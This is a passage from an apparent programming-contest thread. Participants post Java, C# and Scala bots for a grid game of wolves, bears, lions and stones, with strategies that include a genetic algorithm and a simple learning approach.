'W') { if (surroundings[0][1] == ' ' || surroundings[0][1] == 'S') { return Move.UP; } else if (surroundings[1][0] == ' ' || surroundings[1][0] == 'S') { return Move.LEFT; } else if (surroundings[1][2] == ' ' || surroundings[1][2] == 'S') { return Move.RIGHT; } else { return Move.DOWN; } } return Move.HOLD; } } ``` [Answer] # The Blind Wolf The blind wolf is afraid to move and never knows what it is fighting. By playing scissors every time it has the best odds, as it will never run into a *real* stone. ``` package animals; public class BlindWolf extends Animal { public BlindWolf() { super('W'); } @Override public Attack fight(char c) { return Attack.SCISSORS; } @Override public Move move() { return Move.HOLD; } } ``` [Answer] # SpyWolf SpyWolf spies on it's enemies and logs their activity so that it can keep tabs on everyone while keeping it's distance. Wouldn't want to be found out! ``` package animals; import static animals.Animal.Attack.*; import static animals.Animal.Move.*; import java.awt.Point; import java.util.*; public class SpyWolf extends Animal { private static final Random r = new Random(); private static boolean hasTestedPRNG = false; private static int PRNG = -1; private boolean lionTracker = true; private boolean useScissors = false; private final ArrayList<MapTile> map = new ArrayList<MapTile>(); private final Point location = new Point(); public SpyWolf() { super('W'); } @Override public Animal.Attack fight(char opponent) { switch (opponent) { case 'B': case 'L': return SCISSORS; case 'S': return PAPER; default: if (useScissors) { useScissors = false; return SCISSORS; } return PAPER; } } @Override public Animal.Move move() { Move m = HOLD; if (!hasTestedPRNG) { hasTestedPRNG = true; double d = 0; for (int i = 0; i < 100; i++) d += Math.random(); if (d > 99) { PRNG = 1; } else if (d > 30 && d < 70) PRNG = 0; } lionTracker = !lionTracker; boolean adj = false; updateMap(); scan: { if (PRNG < 1) { if (look(LEFT) == 'L' && !lionTracker) { useScissors = true; m = LEFT; break scan; } if (look(UP) == 'L' & lionTracker) { useScissors = true; m = UP; break scan; } } int x = 0, y = 0; ArrayList<Move> moves = new ArrayList<Move>(4); for (Move i : Move.values()) moves.add(i); if (look(UP) == 'W') { y += 54; moves.remove(UP); adj = true; } if (look(DOWN) == 'W') { y -= 54; moves.remove(DOWN); adj = true; } if (look(LEFT) == 'W') { x += 54; moves.remove(LEFT); adj = true; } if (look(RIGHT) == 'W') { x -= 54; moves.remove(RIGHT); adj = true; } if (moves.isEmpty() || !adj) break scan; for (MapTile t : map) { if (t.x >= location.x - 2 && t.x <= location.x + 2 && t.y >= location.y - 2 && t.y <= location.y + 2 && t.d) { int dist = Math.abs(t.x - location.x) + Math.abs(t.y - location.y); y += t.y > location.y ? -60 / dist : 60 / dist; x += t.x < location.x ? 60 / dist : -60 / dist; } } m = moveDir(x, y); if (!moves.contains(m)) m = HOLD; } switch (m) { case UP: location.y--; return m; case DOWN: location.y++; return m; case LEFT: location.x--; return m; case RIGHT: location.x++; return m; default: return m; } } private void updateMap() { for (int y = -1; y < 2; y++) xloop: for (int x = -1; x < 2; x++) { if (x == 0 && y == 0) continue; for (MapTile t : map) if (t.x == x + location.x && t.y == y + location.y) { t.d = surroundings[y + 1][x + 1] == 'W'; continue xloop; } map.add(new MapTile(x + location.x, y + location.y, surroundings[y + 1][x + 1] == 'W')); } } private Move moveDir(int x, int y) { if (x == 0) return y < 0 ? UP : y > 0 ? DOWN : HOLD; if (y == 0) return x < 0 ? LEFT : RIGHT; if (x < 0) { if (y < 0) { if (y < x) return UP; else if (x < y) return LEFT; return r.nextBoolean() ? UP : LEFT; } else { if (-y < x) return DOWN; else if (x < -y) return LEFT; return r.nextBoolean() ? DOWN : LEFT; } } if (y < 0) { if (y < -x) return UP; else if (-x < y) return RIGHT; return r.nextBoolean() ? UP : RIGHT; } else { if (y > x) return DOWN; else if (x < y) return RIGHT; return r.nextBoolean() ? DOWN : RIGHT; } } private char look(Move direction) { switch (direction) { case UP: return surroundings[0][1]; case DOWN: return surroundings[2][1]; case LEFT: return surroundings[1][0]; case RIGHT: return surroundings[1][2]; default: return surroundings[1][1]; } } private static class MapTile { int x, y; boolean d; MapTile(int x, int y, boolean d) { this.x = x; this.y = y; this.d = d; } } } ``` It fares pretty well, but that lame HybridWolf is too cheaty! SpyWolf may go back to spy school and train advanced anti-wolf techniques, we'll see. [Answer] # HybridWolf I couldn't resist but to make another wolf. This one is very different (in its code, not in its behaviour), as it chooses the attack/move, which other good wolves would do. Of course all wolves are good, but I mean the ones with the most points :) ``` package animals; import java.util.ArrayList; import java.util.Random; public class HybridWolf extends Animal{ private final Class[] classes = {ProAlpha.class, OmegaWolf.class, SpyWolf.class, HerjanWolf.class, DeepWolf.class, ProtoWolf.class}; private final ArrayList<Animal> wolves = new ArrayList<Animal>(); public HybridWolf() { super('W'); for(Class c: classes) { try { wolves.add((Animal)c.newInstance()); } catch (Exception ex) {} } } @Override public Attack fight(char opponent) { switch(opponent){ case 'B': case 'L': return Attack.SCISSORS; case 'S': return Attack.PAPER; default: try { int[] attacks = new int[3]; Attack bestAttack = randomAttack(); for(Animal wolf : wolves) { wolf.surroundings = this.surroundings; attacks[wolf.fight(opponent).ordinal()]++; } for(int i =0; i < 5; i++) { if(attacks[i] > attacks[bestAttack.ordinal()]) { bestAttack = Attack.values()[i]; } } return bestAttack; } catch (Exception e) { return randomAttack(); } } } @Override public Move move() { try { int[] moves = new int[5]; Move bestMove = Move.HOLD; for(Animal wolf : wolves) { wolf.surroundings = this.surroundings; moves[wolf.move().ordinal()]++; } for(int i =0; i < 5; i++) { if(moves[i] > moves[bestMove.ordinal()]) { bestMove = Move.values()[i]; } } return bestMove; } catch (Exception e) { return Move.HOLD; } } public Attack randomAttack() { Random rand = new Random(); switch (rand.nextInt(3)){ case 1: return Attack.SCISSORS; case 2: return Attack.ROCK; default: return Attack.PAPER; } } } ``` It my tests it scores better than my previous AlphaWolf, but Omega/Honor/ProAlpha sometimes beat me... The more good submissions are here, the better this wolf will get :D [Answer] # EvoWolf All you silly intelligently designed wolves! EvoWolf lives in the Wild with other tough wolves like DeepWolf and HerjanWolf so it had to evolve to survive. The code uses a genetic algorithm to evolve the best wolf (I didn't notice LionHunterWolf until I was grabbing Wolves to train against). The are different genes for each animal/attack combo, movement direction when safe, and movement direction for each animal in a surrounding. After 1000 rounds, the wolves which lasted the highest number of turns have the highest probability of producing offspring (i.e. the longer you live the more chances you get to mate). We also throw in a random mutation in about 10% of children an hope it helps. Here is the EvoWolf code, **YOU WILL ALSO NEED [evowolf.txt](https://drive.google.com/file/d/0B7CRXu4gHbZ_ZWtaRVdWTVNPdzA/edit?usp=sharing) IN YOUR WORKING DIRECTORY - IT CONTAINS THE CURRENT GENEPOOL.** If you want to evolve your own wolves from primordial randomness, don't include evowolf.txt but the one provided is currently the best evolution. It's really neat to watch it evolve, at the beginning only 2-3 survive but then it gets up to 60. ``` package animals; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.File; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; import java.util.EnumSet; import java.util.List; import java.util.Random; public class EvoWolf extends Animal { public EvoWolf() { super('W'); birth();} public Attack fight(char c) { List<Attack> attacks = getAttacks(c); if(attacks.size() == 0) return Attack.SUICIDE; //Discourage wolves without attacks, Darwin Award return attacks.get(random.nextInt(attacks.size())); } public Move move() { ++turns; List<Move> moves = new ArrayList<Move>(); if(isSafe()) moves = getSafeMoves(); else moves = getThreatenedMoves(); return (Move)moves.toArray()[random.nextInt(moves.size())]; } /*====STATIC METHODS====*/ //Shared RNG public static Random random = new Random(); //Collection of 100 sets of genes public static String[] genePool = null; //Get the genes from disk or randomly generate some public static void readGenePool(){ genePool = new String[100]; int gIdx = 0; try (BufferedReader br = new BufferedReader(new FileReader("evowolf.txt"))){ String sCurrentLine; while ((sCurrentLine = br.readLine()) != null) { genePool[gIdx] = sCurrentLine; ++gIdx; } } catch (IOException e) { } //if can't read genes, make some if(gIdx < 100){ primordial(gIdx); } } public static void primordial(int idx){ for(;idx < 100; ++idx){ genePool[idx] = getRandomGenes(); } } public static String getRandomGenes(){ StringBuilder sb = new StringBuilder(); for(int idx = 0; idx < GENE_COUNT; ++idx){ if(random.nextBoolean()) sb.append("1"); else sb.append("0"); } return sb.toString(); } //Evolve wolves public static void nextGen(){ //Check survival of current gen int survivors = 0; for(int idx = 0; idx < 100; ++idx){ survivors = survivors + (generation[idx].turns == 1000 ? 1 : 0); } if(survivors > 65) writeGenePool(Long.toString(survivors)); //Weighted resivour sampling //Take the highest of r^(1/w) where r is a random an w is the weight for(int idx = 0; idx < 100; ++idx){ genePool[idx] = mateFitWolves(); } writeGenePool(""); birthCount = 0; } //Pick two wolves randomly by weighted fitness and mate them public static String mateFitWolves(){ EvoWolf w1 = null; double weight1 = -1; EvoWolf w2 = null; double weight2 = -1; for(int idx = 0; idx < 100; ++idx){ double weight = generation[idx].getWeightSample(); if(weight > weight1){ weight2 = weight1; w2 = w1; weight1 = weight; w1 = generation[idx]; } else if(weight > weight2){ weight2 = weight; w2 = generation[idx]; } } return mateFitWolves(w1, w2); } //Make offspring public static String mateFitWolves(EvoWolf w1, EvoWolf w2){ StringBuilder sb = new StringBuilder(); //Random splice for(int rIdx = 0; rIdx < w1.genes.length(); ++rIdx){ if(random.nextBoolean()) sb.append(w1.genes.charAt(rIdx)); else sb.append(w2.genes.charAt(rIdx)); } //Random mutation while(random.nextInt(10) == 0){ int mIdx = random.nextInt(w1.genes.length()); if(sb.charAt(mIdx) == '0') sb.setCharAt(mIdx, '1'); else sb.setCharAt(mIdx, '0'); } return sb.toString(); } //Save the next generation's gene pool back to disk public static void writeGenePool(String survivors){ try { String str = ""; if(!survivors.equals("")) str = Long.toString(System.currentTimeMillis()); File file = new File("evowolf" + survivors + str + ".txt"); // if file doesn't exists, then create it if (!file.exists()) { file.createNewFile(); } FileWriter fw = new FileWriter(file.getAbsoluteFile()); BufferedWriter bw = new BufferedWriter(fw); for(int gIdx = 0; gIdx < genePool.length; ++gIdx){ bw.write(genePool[gIdx]); bw.write('\n'); } bw.close(); } catch (IOException e) { } } //Keep track of the wolves in this generation public static int birthCount = 0; public static EvoWolf[] generation = new EvoWolf[100]; /*====INSTANCE METHODS====*/ //Populate this wolf from the gene pool public void birth(){ if(genePool == null){ readGenePool(); } genes = genePool[birthCount]; generation[birthCount] = this; birthCount = (birthCount + 1) % 100; } //How long wolf has been alive public int turns = 0; //Fitness based on how long wolf survived public double getWeightSample(){ return Math.pow(random.nextDouble(), 1.0/turns); } /*===GENETICS===*/ public String genes = null; //Genes are made up of 182+ bits (stored at a string) //Each turns on the possibility of that move or attack in a given situation // Attack: BLSW * RPSX = 16 bits [0-15] = Animal->Attacks // Threatened Moves: BLSW * 12345678 * UDLRH = 160 bits [16-175] = Y -> X -> Animal -> Moves // Safe Moves: UDLRH = 5 bits [176-180] = Moves // Extra: default move [181], move combination [182] public static final int GENE_INDEX_ATTACKS = 0; public static final int GENE_INDEX_THREATENED_MOVES = GENE_INDEX_ATTACKS + (4 * 4); public static final int GENE_INDEX_SAFE_MOVES = GENE_INDEX_THREATENED_MOVES + (8 * 4 * 5); public static final int GENE_INDEX_DEFAULT_MOVE = GENE_INDEX_SAFE_MOVES + (5); public static final int GENE_INDEX_COMBINE_MOVES = GENE_INDEX_DEFAULT_MOVE + (1); public static final int GENE_COUNT = GENE_INDEX_COMBINE_MOVES + 1; public static int getAnimalIndex(char c){ switch (c) { case 'B': return 0; case 'L': return 1; case 'S': return 2; case 'W': default: //Shouldn't occur but we'll assume it's the dangerous wolf return 3; } } public static int getXYIndex(int x, int y){ int idx = (y * 3) + x; if(idx > 4) //We don't need to look at ourself --idx; return idx; } public List<Attack> getAttacks(char c){ List<Attack> attacks = new ArrayList<Attack>(); int idx = GENE_INDEX_ATTACKS + getAnimalIndex(c); if(genes.charAt(idx + 0) == '1') attacks.add(Attack.ROCK); if(genes.charAt(idx + 1) == '1') attacks.add(Attack.PAPER); if(genes.charAt(idx + 2) == '1') attacks.add(Attack.SCISSORS); /* if(genes.charAt(idx + 3) == '1') attacks.add(Attack.SUICIDE); */ //Suicide didn't remove itself from the gene pool like I thought so I manually removed it return attacks; } public boolean isSafe(){ for(int x = 0; x <= 2; ++x){ for(int y = 0; y <= 2; ++y){ if(y == 1 && x == 1) continue; if(surroundings[y][x] != ' ') return false; } } return true; } public List<Move> getSafeMoves(){ List<Move> moves = new ArrayList<Move>(); int idx = GENE_INDEX_SAFE_MOVES; if(genes.charAt(idx + 0) == '1') moves.add(Move.UP); if(genes.charAt(idx + 1) == '1') moves.add(Move.DOWN); if(genes.charAt(idx + 2) == '1') moves.add(Move.LEFT); if(genes.charAt(idx + 3) == '1') moves.add(Move.RIGHT); if(genes.charAt(idx + 4) == '1') moves.add(Move.HOLD); return moves; } public List<Move> getThreatenedMoves(){ List<Move> moves = new ArrayList<Move>(); if(genes.charAt(GENE_INDEX_COMBINE_MOVES) == '0') moves.addAll(EnumSet.of(Move.UP, Move.DOWN, Move.LEFT, Move.RIGHT, Move.HOLD)); for(int x = 0; x <= 2; ++x){ for(int y = 0; y <= 2; ++y){ if(y == 1 && x == 1) continue; if(genes.charAt(GENE_INDEX_COMBINE_MOVES) == '1') moves.addAll(getThreatenedMoves(x,y)); else moves.retainAll(getThreatenedMoves(x,y)); } } if(moves.size() == 0){ if(this.genes.charAt(GENE_INDEX_DEFAULT_MOVE) == '1') moves.addAll(EnumSet.of(Move.UP, Move.DOWN, Move.LEFT, Move.RIGHT, Move.HOLD)); else moves.add(Move.HOLD); } return moves; } public EnumSet<Move> getThreatenedMoves(int x, int y){ //Lookup what moves we can make for a cell unless it is blank (allow any) if(surroundings[y][x] != ' ') return getThreatenedMoves(x,y,surroundings[y][x]); else if(genes.charAt(GENE_INDEX_COMBINE_MOVES) == '1') return EnumSet.noneOf(Move.class); else return EnumSet.of(Move.UP, Move.DOWN, Move.LEFT, Move.RIGHT, Move.HOLD); } public EnumSet<Move> getThreatenedMoves(int x, int y, char c){ int aIdx = getAnimalIndex(c); int sIdx = getXYIndex(x,y); int idx = GENE_INDEX_THREATENED_MOVES + (sIdx * 20) + (aIdx * 5); EnumSet<Move> moves = EnumSet.noneOf(Move.class); if(genes.charAt(idx + 0) == '1') moves.add(Move.UP); if(genes.charAt(idx + 1) == '1') moves.add(Move.DOWN); if(genes.charAt(idx + 2) == '1') moves.add(Move.LEFT); if(genes.charAt(idx + 3) == '1') moves.add(Move.RIGHT); if(genes.charAt(idx + 4) == '1') moves.add(Move.HOLD); return moves; } public static String setAt(String str, int index, char replace){ if(str==null){ return str; }else if(index<0 || index>=str.length()){ return str; } char[] chars = str.toCharArray(); chars[index] = replace; return String.valueOf(chars); } } ``` I've also made some changes to Statistics.java and Wild.java just to show me how many turns and generations have passed. After you've run 1000 turns, call `EvoWolf.nextGen();` to calculate offspring. This isn't necessary for competition, only if you want to evolve your own set. [All Files Here](https://drive.google.com/folderview?id=0B7CRXu4gHbZ_Y0RNVWRDSklfX2M&usp=drive_web) **EDIT: FIXED LINK** As far as evolving as the best, it kind of doesn't get any better than the top 10. Part of the limitation is it has very little memory of it's previous moves. Although it does function like WolvesWithCollectiveMemory in that the experiences of previous generations will affect how the next generation functions serving as a long term global memory. It sure was fun though. In the previous link there is an Excel sheet which can help you analyze the gene pool. Replace all 1's and 0's in the .txt with 1's and 0's with commas then paste in the spreadsheet. Some interesting notes, most of which confirm everyone's strategies: * The actual attacks are less important than avoiding fighting. Or maybe all the non-wolves get eliminated quickly so they aren't a threat. The competition generation has an even chance between RPS against bears even though you should throw S. * Like the above, I had to manually disable suicide since it wasn't evolving out even though you think it would. * Holding is the best move when no one is around * Running away seems to be good too when someone is around * You should hold instead of moving a random direction (this choice was an extra gene that evolved out) * When more than 1 animal is around, taking a random move out of the intersection of moves for each surrounding/animal is better than the union (another extra gene) [Answer] # SmartWolf The results are in(1000 iterations)(I'll keep updating this but view it as an independent test with no averaging because with that many wolves it is quite slow). ![enter image description here](https://i.stack.imgur.com/zihAH.png) **Compilation:** \*nix(Mono is required): ``` gmcs SmartWolf.cs ``` Windows: ``` csc SmartWolf.cs ``` Copy to working directory. **Note:** When using Windows, you need to replace `"mono SmartWolf.exe"` with just `"SmartWolf.exe"` in the wrapper code. SmartWolf.cs: ``` using System; using System.Collections.Generic; using System.Linq; namespace SmartWolf { #region Enums enum Attack { Rock, Paper, Scissors, Suicide } enum Movement { Up, Down, Left, Right, Hold } enum Animal { Stone, Lion, Wolf, Bear, Empty } #endregion class KnowledgeBase { static Random rnd = new Random(); public List<KeyValuePair<KeyValuePair<Animal, Attack>, int>> knowledge = new List<KeyValuePair<KeyValuePair<Animal, Attack>, int>>(); public KnowledgeBase () { } public void PunishMove (KeyValuePair<Animal, Attack> move) { if (knowledge.Count (t => t.Key.Key == move.Key && t.Key.Value == move.Value) == 0) { knowledge.Add (new KeyValuePair<KeyValuePair<Animal, Attack>, int> (move, -1)); } else { int i = knowledge.FindIndex (t => t.Key.Equals (move)); knowledge[i] = new KeyValuePair<KeyValuePair<Animal, Attack>, int>(knowledge[i].Key, knowledge[i].Value - 1); } } public void RewardMove (KeyValuePair<Animal, Attack> move) { if (knowledge.Count (t => t.Key.Key == move.Key && t.Key.Value == move.Value) == 0) { knowledge.Add (new KeyValuePair<KeyValuePair<Animal, Attack>, int> (move, 1)); } else { int i = knowledge.FindIndex (t => t.Key.Equals (move)); knowledge[i] = new KeyValuePair<KeyValuePair<Animal, Attack>, int>(knowledge[i].Key, knowledge[i].Value + 1); } } public Attack GetBestMove (Animal opponent) { Attack best = GetRandomMove(); int j = 0; foreach (var pair in knowledge) { if(pair.Key.Key == opponent && j < pair.Value) { best = pair.Key.Value; j = pair.Value; } } if(j < 2) return GetRandomMove (); return best; } public static Attack GetRandomMove() { int r = rnd.Next (3); return r == 0 ? Attack.Paper : r == 1 ? Attack.Rock : r == 2 ? Attack.Scissors : Attack.Scissors; } } class MainClass { static KnowledgeBase knowledge = new KnowledgeBase(); public static void Main (string[] args) { List<SmartWolf> list = new List<SmartWolf> (); List<int> temp = new List<int>(); int l = 0; while (true) { string str = Console.ReadLine (); int id = int.Parse (str.Substring (1, 2)); if(str.StartsWith ("S")) { list.Add (new SmartWolf(id)); Console.WriteLine("K" + id.ToString ().PadLeft (2, '0')); } else if(str.StartsWith ("M")) { if(temp.Contains (id)) { for(int i = 0; i < 100; i++) { SmartWolf s = list.Where (t => t.ID == i).ToList ()[0]; if(s.AttackedInLastRound == 0 && !temp.Contains(i)) { s.IsAlive = false; knowledge.PunishMove (s.LastMove); s.AttackedInLastRound = -1; } else if(s.AttackedInLastRound == 0 && temp.Contains (i)) { knowledge.RewardMove (s.LastMove); s.AttackedInLastRound = -1; } if(s.AttackedInLastRound > 0) s.AttackedInLastRound--; } temp.Clear(); l++; } temp.Add (id); Console.WriteLine('H' + id.ToString ().PadLeft (2, '0')); } else if(str.StartsWith ("A")) { Animal enemy = str[3] == 'W' ? Animal.Wolf : str[3] == 'L' ? Animal.Lion : str[3] == 'S' ? Animal.Stone : str[3] == 'B' ? Animal.Bear : Animal.Empty; Attack atk = knowledge.GetBestMove (enemy); Console.WriteLine((atk == Attack.Paper ? "P" : atk == Attack.Rock ? "R" : atk == Attack.Scissors ? "S" : "P") + id.ToString ().PadLeft (2, '0')); list.Where (t => t.ID == id).ToList ()[0].AttackedInLastRound = 2; list.Where (t => t.ID == id).ToList ()[0].LastMove = new KeyValuePair<Animal, Attack>(enemy, atk); } } } } class SmartWolf { public int ID; public bool IsAlive = true; public KeyValuePair<Animal, Attack> LastMove = new KeyValuePair<Animal, Attack>(Animal.Empty, Attack.Suicide); public int AttackedInLastRound = -1; public SmartWolf(int n) { ID = n; } } } ``` Wrapper(credit to @ProgrammerDan, I'm just including it here so it's easier to just copy paste): ``` package animals; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.PrintWriter; import java.io.OutputStreamWriter; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import java.util.concurrent.Callable; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import java.util.concurrent.ExecutionException; import java.util.concurrent.ThreadPoolExecutor; /** * Remote SmartWolf wrapper class. */ public class SmartWolf extends Animal { /** * Simple test script that sends some typical commands to the * remote process. */ public static void main(String[]args){ SmartWolf[] wolves = new SmartWolf[100]; for(int i=0; i<10; i++) { wolves[i] = new SmartWolf(); } char map[][] = new char[3][3]; for (int i=0;i<9;i++) map[i/3][i%3]=' '; map[1][2] = 'W'; for(int i=0; i<10; i++) { wolves[i].surroundings=map; System.out.println(wolves[i].move()); } for(int i=0; i<10; i++) { System.out.println(wolves[i].fight('S')); System.out.println(wolves[i].fight('B')); System.out.println(wolves[i].fight('L')); System.out.println(wolves[i].fight('W')); } wolfProcess.endProcess(); } private static WolfProcess wolfProcess = null; private static SmartWolf[] wolves = new SmartWolf[100]; private static int nWolves = 0; private boolean isDead; private int id; /** * Sets up a remote process wolf. Note the static components. Only * a single process is generated for all Wolves of this type, new * wolves are "initialized" within the remote process, which is * maintained alongside the primary process. * Note this implementation makes heavy use of threads. */ public SmartWolf() { super('W'); if (SmartWolf.wolfProcess == null) { SmartWolf.wolfProcess = new WolfProcess(); SmartWolf.wolfProcess.start(); } if (SmartWolf.wolfProcess.initWolf(SmartWolf.nWolves, MAP_SIZE)) { this.id = SmartWolf.nWolves; this.isDead = false; SmartWolf.wolves[id] = this; } else { SmartWolf.wolfProcess.endProcess(); this.isDead = true; } SmartWolf.nWolves++; } /** * If the wolf is dead, or all the wolves of this type are dead, SUICIDE. * Otherwise, communicate an attack to the remote process and return * its attack choice. */ @Override public Attack fight(char opponent) { if (!SmartWolf.wolfProcess.getRunning() || isDead) { return Attack.SUICIDE; } try { Attack atk = SmartWolf.wolfProcess.fight(id, opponent); if (atk == Attack.SUICIDE) { this.isDead = true; } return atk; } catch (Exception e) { System.out.printf("Something terrible happened, this wolf has died: %s", e.getMessage()); isDead = true; return Attack.SUICIDE; } } /** * If the wolf is dead, or all the wolves of this type are dead, HOLD. * Otherwise, get a move from the remote process and return that. */ @Override public Move move() { if (!SmartWolf.wolfProcess.getRunning() || isDead) { return Move.HOLD; } try { Move mv = SmartWolf.wolfProcess.move(id, surroundings); return mv; } catch (Exception e) { System.out.printf("Something terrible happened, this wolf has died: %s", e.getMessage()); isDead = true; return Move.HOLD; } } /** * The shared static process manager, that synchronizes all communication * with the remote process. */ static class WolfProcess extends Thread { private Process process; private BufferedReader reader; private PrintWriter writer; private ExecutorService executor; private boolean running; public boolean getRunning() { return running; } public WolfProcess() { process = null; reader = null; writer = null; running = true; executor = Executors.newFixedThreadPool(1); } public void endProcess() { running = false; } /** * WolfProcess thread body. Keeps the remote connection alive. */ public void run() { try { System.out.println("Starting SmartWolf remote process"); ProcessBuilder pb = new ProcessBuilder("mono SmartWolf.exe".split(" ")); pb.redirectErrorStream(true); process = pb.start(); System.out.println("SmartWolf process begun"); // STDOUT of the process. reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8")); System.out.println("SmartWolf reader stream grabbed"); // STDIN of the process. writer = new PrintWriter(new OutputStreamWriter(process.getOutputStream(), "UTF-8")); System.out.println("SmartWolf writer stream grabbed"); while(running){ this.sleep(0); } reader.close(); writer.close(); process.destroy(); // kill it with fire. executor.shutdownNow(); } catch (Exception e) { e.printStackTrace(); System.out.println("SmartWolf ended catastrophically."); } } /** * Helper that invokes a read with a timeout */ private String getReply(long timeout) throws TimeoutException, ExecutionException, InterruptedException{ Callable<String> readTask = new Callable<String>() { @Override public String call() throws Exception { return reader.readLine(); } }; Future<String> future = executor.submit(readTask); return future.get(timeout, TimeUnit.MILLISECONDS); } /** * Sends an initialization command to the remote process */ public synchronized boolean initWolf(int wolf, int map_sz) { while(writer == null){ try { this.sleep(0); }catch(Exception e){} } boolean success = false; try{ writer.printf("S%02d%d\n", wolf, map_sz); writer.flush(); String reply = getReply(5000l); if (reply != null && reply.length() >= 3 && reply.charAt(0) == 'K') { int id = Integer.valueOf(reply.substring(1)); if (wolf == id) { success = true; } } if (reply == null) { System.out.println("did not get reply"); } } catch (TimeoutException ie) { endProcess(); System.out.printf("SmartWolf %d failed to initialize, timeout\n", wolf); } catch (Exception e) { endProcess(); System.out.printf("SmartWolf %d failed to initialize, %s\n", wolf, e.getMessage()); } return success; } /** * Send an ATTACK command to the remote process. */ public synchronized Attack fight(int wolf, char opponent) { Attack atk = Attack.SUICIDE; try{ writer.printf("A%02d%c\n", wolf, opponent); writer.flush(); String reply = getReply(1000l); if (reply.length() >= 3) { int id = Integer.valueOf(reply.substring(1)); if (wolf == id) { switch(reply.charAt(0)) { case 'R': atk = Attack.ROCK; break; case 'P': atk = Attack.PAPER; break; case 'S': atk = Attack.SCISSORS; break; case 'D': atk = Attack.SUICIDE; break; } } } } catch (TimeoutException ie) { endProcess(); System.out.printf("SmartWolf %d failed to attack, timeout\n", wolf); } catch (Exception e) { endProcess(); System.out.printf("SmartWolf %d failed to attack, %s\n", wolf, e.getMessage()); } return atk; } /** * Send a MOVE command to the remote process. */ public synchronized Move move(int wolf, char[][] map) { Move move = Move.HOLD; try{ writer.printf("M%02d", wolf); for (int row=0; row<map.length; row++) { for (int col=0; col<map[row].length; col++) { writer.printf("%c", map[row][col]); } } writer.print("\n"); writer.flush(); String reply = getReply(1000l); if (reply.length() >= 3) { int id = Integer.valueOf(reply.substring(1)); if (wolf == id) { switch(reply.charAt(0)) { case 'H': move = Move.HOLD; break; case 'U': move = Move.UP; break; case 'L': move = Move.LEFT; break; case 'R': move = Move.RIGHT; break; case 'D': move = Move.DOWN; break; } } } } catch (TimeoutException ie) { endProcess(); System.out.printf("SmartWolf %d failed to move, timeout\n", wolf); } catch (Exception e) { endProcess(); System.out.printf("SmartWolf %d failed to move, %s\n", wolf, e.getMessage()); } return move; } } } ``` Not really that great, averages ~75 survival rate for 1000 iterations with a few of the top wolves. Uses a ML approach to the solution. [Answer] ## Passive-Aggressive Wolf (a Scala Wolf) Avoids everything it can for the first 500 turns, letting the field clear itself. Then goes off in it's assigned direction attacking things that it comes within range of. ``` package animals; import animals._ import scala.util.Random class PassiveAgressiveWolf extends Animal('W') { val myId=PassiveAgressiveWolf.nextId var movecounter=0 def fight(opponent: Char) = { PassiveAgressiveWolf.lastopponents(myId-1)=opponent opponent match { case 'B' => Animal.Attack.SCISSORS case 'L' => Animal.Attack.SCISSORS case 'S' => Animal.Attack.ROCK case _ => Random.shuffle(List(Animal.Attack.SCISSORS, Animal.Attack.ROCK, Animal.Attack.PAPER)).head } } def move = { movecounter+=1 if(movecounter < 500) avoidall else seen match { case ('B', pos: Int) => seenbear(pos) case ('S', pos: Int) => seenstone(pos) case ('L', pos: Int) => seenlion(pos) case ('W', pos: Int) => seenwolf(pos) case (' ', _) => myDirection } } def myDirection = myId % 4 match { case 0 => if(surroundings(0)(1)==' ') Animal.Move.LEFT else randommove case 1 => if(surroundings(1)(0)==' ') Animal.Move.DOWN else randommove case 2 => if(surroundings(1)(2)==' ') Animal.Move.RIGHT else randommove case 3 => if(surroundings(2)(1)==' ') Animal.Move.UP else randommove } def randommove = Random.shuffle(List(Animal.Move.UP, Animal.Move.LEFT, Animal.Move.RIGHT, Animal.Move.DOWN)).head def seen = { surroundings(1)(1)=' ' val surroundingsflat=surroundings.flatten.mkString val seenbeasts = for { beast <- "BSLW" if surroundingsflat contains beast } yield (beast, surroundingsflat.indexOf(beast)) seenbeasts.headOption.getOrElse((' ', 0)) } def seenbear(pos: Int) = chase(pos) def seenstone(pos: Int) = pos match { case 1 => Animal.Move.LEFT case 3 => Animal.Move.UP case _ => myDirection } def seenlion(pos: Int) = pos match { case 1 => Animal.Move.LEFT case 3 => Animal.Move.UP case 5 => Animal.Move.HOLD case 7 => Animal.Move.HOLD case 0 => Animal.Move.UP case 2 => Animal.Move.HOLD case 6 => Animal.Move.HOLD case 8 => Animal.Move.HOLD } def seenwolf(pos: Int) = chase(pos) def chase(pos: Int) = pos match { case 1 => Animal.Move.UP case 3 => Animal.Move.LEFT case 5 => Animal.Move.RIGHT case 7 => Animal.Move.DOWN case 0 => Animal.Move.UP case 2 => Animal.Move.UP case 6 => Animal.Move.DOWN case 8 => Animal.Move.DOWN } def avoidall = { val safemoves = for { move <- List( (0, 1, Animal.Move.UP), (1, 0, Animal.Move.LEFT), (1, 2, Animal.Move.RIGHT), (2, 1, Animal.Move.DOWN) ) if(surroundings(move._1)(move._2)==' ') } yield move if(safemoves.length < 4) Random.shuffle(safemoves).head._3 else Animal.Move.HOLD } } object PassiveAgressiveWolf { private var id=0 private def nextId = {id+=1; id} private var lastopponents=Array.fill[Char](100)(' '); } ``` As a JVM based language, Scala can be integrated relatively easily. If you're compiling the program yourself, put the scala file in with the java `.class` files (not the `.java` files) and use ``` scalac PassiveAggressiveWolf.scala ``` to compile it. You can then use the `PassiveAggressiveWolf.class` in the main `Wild.java` class as you do with the Java classes. You'll need to add the `scala-library.jar` to your classpath too (I've been using the command line option `-cp /path/to/scala-library.jar`). Alternatively, I've uploaded a jar containing the generated class files and the `scala-library.jar` for Scala 2.10.3 so that you can download them. [PassiveAggressiveWolf.jar](http://www.garethrogers.net/wolffiles/PassiveAggressiveWolf.jar) [scala-library.jar](http://www.garethrogers.net/wolffiles/scala-library.jar) ]
